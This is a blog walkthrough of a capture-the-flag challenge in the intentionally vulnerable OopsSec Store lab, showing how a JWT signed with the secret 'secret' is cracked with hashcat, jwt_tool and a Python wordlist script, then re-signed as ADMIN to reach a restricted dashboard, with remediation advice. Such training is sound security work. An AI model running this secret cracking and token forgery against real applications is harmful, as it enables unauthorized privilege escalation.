DEV Community

Cover image for A valid JWT signature won’t save you if the secret is ‘secret’
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

A valid JWT signature won’t save you if the secret is ‘secret’

Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints.

The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an admin token, and walk right into the restricted dashboard.

Environment setup

Spin up the OopsSec Store in a new directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

Head to http://localhost:3000 and log in with the test credentials shown on the login page. Use Alice's account -- she's a regular customer.

Reconnaissance

The app uses JWTs for session management. After login, the server drops a token in an HTTP-only cookie that tags along with every request.

There's a link to /admin sitting right there in the footer. Click it as Alice and you get an access denied page.

Access Denied - /admin

Token extraction and analysis

Open DevTools, go to Application > Cookies. The token is in an HTTP-only cookie called authToken.

Paste it into jwt.io:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}
Enter fullscreen mode Exit fullscreen mode

Payload:

{
  "id": "cmk7hzehr0001togvwvjt810d",
  "email": "alice@example.com",
  "role": "CUSTOMER",
  "hint": "The secret is not so secret",
  "exp": 1768763557
}
Enter fullscreen mode Exit fullscreen mode

HS256 -- HMAC-SHA256. You need the secret to forge a valid signature.

But then there's the hint field: "The secret is not so secret". Not subtle.

Identifying the vulnerability

A signature doesn't make a token secure if the secret behind it is garbage. Short or common secrets fall to dictionary attacks in seconds. Think secret, password, jwt, key, or just the app name.

Cracking the JWT secret

Save the token to a file:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt
Enter fullscreen mode Exit fullscreen mode

Crack it with hashcat:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Hashcat

Or jwt_tool:

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Or skip the big wordlist and just try the obvious ones:

import jwt
import sys

token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]

for secret in wordlist:
    try:
        jwt.decode(token, secret, algorithms=["HS256"])
        print(f"[+] Secret found: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue
Enter fullscreen mode Exit fullscreen mode

The secret is secret. Yeah.

Exploitation

Forge a token with "role": "ADMIN":

import jwt

payload = {
    "id": "cmk7hzehr0001togvwvjt810d",
    "email": "alice@example.com",
    "role": "ADMIN",
    "hint": "The secret is not so secret",
    "exp": 1768763557
}

forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)
Enter fullscreen mode Exit fullscreen mode

Back in DevTools > Application > Cookies, replace the authToken value with your forged token and refresh. The cookie is httpOnly so JavaScript can't touch it, but DevTools doesn't care -- you can edit it directly.

Hit /admin.

Admin page

Flag

OSS{w34k_jwt_s3cr3t_k3y}
Enter fullscreen mode Exit fullscreen mode

Remediation

The fix starts with a real secret:

openssl rand -base64 32
Enter fullscreen mode Exit fullscreen mode

Keep it in an environment variable, not in your code:

import jwt from "jsonwebtoken";

jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: "HS256",
  expiresIn: "7d",
});
Enter fullscreen mode Exit fullscreen mode

Always verify signatures on incoming tokens:

jwt.verify(token, process.env.JWT_SECRET);
Enter fullscreen mode Exit fullscreen mode

Don't trust the role claim in the token either. Look it up from the database:

const user = await db.users.findById(decoded.id);

if (user.role !== "ADMIN") {
  return res.status(403).send("Forbidden");
}
Enter fullscreen mode Exit fullscreen mode

If different services need to issue and verify tokens, asymmetric algorithms (RS256, ES256) make more sense -- verifiers never see the private key.

The token tells you who someone is. What they're allowed to do is a separate question, and the answer should come from your database, not from something the client handed you.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…
Enter fullscreen mode Exit fullscreen mode

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)